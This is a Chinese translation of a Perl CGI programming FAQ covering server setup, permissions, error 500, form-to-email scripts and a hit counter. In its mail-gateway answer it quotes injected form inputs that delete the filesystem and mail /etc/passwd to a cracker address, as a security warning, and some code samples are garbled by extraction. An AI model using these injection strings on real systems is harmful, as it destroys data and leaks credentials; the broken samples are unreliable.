选择显示字体大小

perl cgi 程式写作常问问题集(四)


3.0 - cgi 与 www server

---------------------------------------------------------------------------

q3.1: 我的 perl cgi 程式要放在哪里执行?cgi-bin 这个目录是做甚麽用的?

server 通常是设定成去执行放在 ``cgi-bin'' 目录底下的 cgi 程式。不过,
server 管理者同时也可以在设定档中设定 aliases,让所有含某些副档名(如
..cgi
、.pl)的 scripts 都能执行*。

【译者】设定 cgi aliases 和副档名固然很方便,但 server 管理者须注
意到相关的安全问题。

---------------------------------------------------------------------------

q3.2: 什麽是档案使用权限?怎样改?

档案权限是根据使用者识别代号(又称
uid),以及他们所属的团体来决定是否赋与
使用者读、写,和执行某档案的权利。您可使用 chmod
这个指令去修改档案的使用
权限。例如:

% ls -ls form.cgi
1 -rwx------ 1 shishir 974 oct 31 22:15 form.cgi*

此一档案的权限为
0700(八进制),意味著没有人(档案所有人除外)能够读取、
写进,或执行这个档案。我们可以用 chmod 这个指令去修改它的权限:

% chmod 755 form.cgi
% ls -ls form.cgi
1 -rwxr-xr-x 1 shishir 974 oct 31 22:15 form.cgi*

这样一来,权限就变了。现在和 ``shishir''
在同一个团体的使用者,还有其他任
何的使用者都有权利去读取和执行这个档案了。

如欲知 chmod 指令各八进制数码所代表的含意,请参阅 chmod
manpages的说明。

---------------------------------------------------------------------------

q3.3: perl 应该安装在哪里才可以执行它?

perl 可以安装在系统上任何一个角落!您唯一要注意的是 server
不能在chroot 的
环境下跑,否则它便无法跑 perl
解译器。换言之,系统管理者可以把根目录改变,
让 ``/'' 指到另一个目录,而不是实际真正的根目录(``/'')。

---------------------------------------------------------------------------

q3.4: 我为什麽一直得到 ``server: error 500'' 的讯息?

以下几种情形会触发这个错误讯息:

* 如果 script 开头的地方没有 ``#!/usr/local/bin/perl'' 这个指到
perl
译器的标头,或者是指到解译器(或 library 档)的路径错误。
* 如果 script 输出的第一行是一个不正确的标头(即 ``content-type:
text/html'' ),或者是该标头後面没有跟著一个空行。
* 如果您的 script 有句法上的错误。您的 scripts
都应在指令列先跑跑看才
是。

---------------------------------------------------------------------------

q3.5: 我试著打开一个档案,想把资料储存在里头,但是 open()
的指令失败了。到
底是怎麽搞的?

一般说来,http server 是以
``nobody''、``www'',或其他这类权限低的使用者的
身份来跑的。因为这个缘故,您打算在其中制造新档案的目录,对 server
跑的使用
者 id 必须要是可写(writable)才行。

为了确定起见,您每次都应该先检查 open 这个指令送回的结束状态(return
status
),看看 open 有没有成功。

open(file, "/abc/data.txt")
error("could not open file /abc/data.txt");
.
.
.
sub error {
my($message) = @_;

print <<end_of_error;
content-type: text/html
status: 500 cgi error
<html>
<head><title>cgi error</title></head>
<body>
<h1>oops! error</h1>
<hr>
&#36;message
<hr>
</body>
</html>
end_of_error
}

 

4.0 -程式设计疑难杂症

---------------------------------------------------------------------------

q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例?

其实做这个很容易。您的 cgi script 必须能做到这两件事:

1. 将 form 中的资料整理出来。别忘了,所有的 form 资料都会被
url-编码起来
(先不考虑.netscape 2.0 【及 2.0 以上所支援】的 multipart
mime资料)。
2. 开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form
资料写过去。

我们就假设您用的是 cgi::* 模组。您可用以下的方法去叫 sendmail:

&#36;cgi_form = new cgi::form;
&#36;from = &#36;cgi_form->param('from');
&#36;name = &#36;cgi_form->param('name');
&#36;to = &#36;cgi_form->param('to');
&#36;subject = &#36;cgi_form->param('subject');
&#36;message = &#36;cgi_form->param('message');
open sendmail, &quot; /usr/bin/sendmail -t -n&quot;;
print sendmail <<end_of_mail;
from: &#36;from <&#36;name>
to: &#36;to
reply-to: &#36;from
subject: &#36;subject
&#36;message
end_of_mail

有一个该注意的地方是 ``reply-to:'' 的信头。由於 server 是以
``nobody''

这个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信
的时後)。加上 ``reply-to'' 的信头这个问题便解决了。

网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail:

【译者】gateway 在此指送 email 的 cgi 程式

open mail, &quot; mail -s 'subject' &#36;to&quot;;
^

+--
可能会出问题的漏洞!!!

如果您没有先检查看 &#36;to 这个变数有没有内含 shell 的特殊符号
(metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user
输入了以下
的资料:

; rm -fr / ;

那麽您的麻烦可大了*。

【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。
另一个危险的符号是 ``&''。

在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得
视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权
限使用者身份跑的原因)。至少那些由 cgi 程式制造出来,但又没
有备份的档案,是真的要跟它们永别了。

; mail joe@crackerland.org </etc/passwd

那您的 cgi script 就替您把 /etc/passwd 给拱手送上了。这对一
个「未加工」的 linux、sunos 4.1,还有其他任何没安装
shadow-password 的 unix 系统来说,实在不太好玩。如果 server
错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为
远方的 cracker 甚至可以让这个 cgi 的 email script 给他送
/etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。

----------------------------------------------------------------------

q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用
``mailto:url'',这样 user 填入的资料就可以寄给我了?

很不幸地,mailto:
的指令并不是所有的浏览器都支援。如果您在档案中用了它
的话,会限制了那些使用没有支援 mailto:的浏览器的人,让他们无法送
mail 给您*。

【译者】尽管如此,您或许不会在乎那占极少数比例的使用者
.netscape 、 ie,和 lynx 等浏览器都支援 mailto:)。

----------------------------------------------------------------------

q4.3: 我要如何在 unix 以外的平台上做 perl-cgi,譬如 mac、ms-dos、
windows 及 nt?我的 perl cgi
程式能不能在这些平台之间互相移植呢?能不
能很直接,没有麻烦?我在 unix 主机上有帐号,但是都是先在
windows/mac
上做。我要如何在我自己的机器上测试写好的 cgi scripts*?

perl 已经被移植到上述所有的平台上了。因此,您的 perl cgi
程式照理应不
难移植。但如果您使用到一些 unix
上的程式,那麽您的程式可能会不好移

植。如果您只是做资料处理,或开启、读进档案等的话,那麽移植应该不会有
问题。

【译者】原 faq 并未回答最後这个问题。要在 windows/os2/mac 等
unix 平台上测式您的 scripts ,您可以使用 cgi.pm (支援以
上所有平台),配合 q4.19 中提示的除错技巧,或在自己的机器上
安装 http server 软体。如此就不用辛苦的连上主机去测式了。

----------------------------------------------------------------------

q4.4: 在 perl cgi 程式中,stderr (标准错误讯息)、stdin
(标准输入),
和 stdout (标准输出)各是连到何处?

cgi 环境下,stderr 会指向 server 的错误讯息档 (error
log)。您可以
善加利用这个特性,把除错的讯息写到
stderr,然後您便可藉查看错误讯息档
来帮您除错。

stdin 和 stdout 则都和浏览器相连。实际上,stdin 连的是 server。
server
会先解读 client (或浏览器)送出的请求和资料,再将其送给 script。

您也可以用将 stderr 「复制」到 stdout
的方法来抓错误讯息。这应该在
script 靠前头的地方做(但应在您输出合适的 http 标头之後):

open stderr, &quot;>&stdout&quot;;

这会将所有的错误讯息都转送到 stdout (即浏览器)去。

----------------------------------------------------------------------

q4.5: 如何写计数器?

计数器一类的程式相当流行。其实计数器的原理很简单,不过是:
o 用一个档案去储存资料。
o 每当有人光临网站,增大档案中所计的数字。

以下是一个简单的计数器的实例:

#!/usr/local/bin/perl -w
&#36;counter = &quot;/home/shishir/counter.dat&quot;;
print &quot;content-type: text/plain&quot;, &quot;\n\n&quot;;
open(file, &#36;counter) die &quot;cannot read from the counter
file.\n&quot;;
flock file, 2;
&#36;visitors = <file>
flock file, 8;
close file;
open(file, &quot;>&#36;counter&quot;) die &quot;cannot write to counter
file.\n&quot;;
flock file, 2;
print file &#36;visitors;
flock file, 8;
close file;

现在您可以在 html 档案中用 ssi (server side include; 伺服端插入)*
的方
式来显示该计数器:

【译者】ssi 是 server 所提供的一项功能,可将动态资料,例如日
期和时间,或计数器显示等,在客户请求一网页时即时加入该文件
中。支援 ssi 的 servers 包括了 ncsa
(<http://hoohoo.ncsa.uiuc.edu>、apache
(<http://www.apache.org/>,.netscape enterprise server

(<http://home.netscape.com/comprod/server_central/product/enterprise/>
等。 ssi 固然是一项便利的设计,但如过份滥用,不但会减低
server 性能,更可能招来安全上的危机。

您是第
<!--#exec cgi=&quot;/cgi-bin/counter.pl-->
位光临本站的客人。

  


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons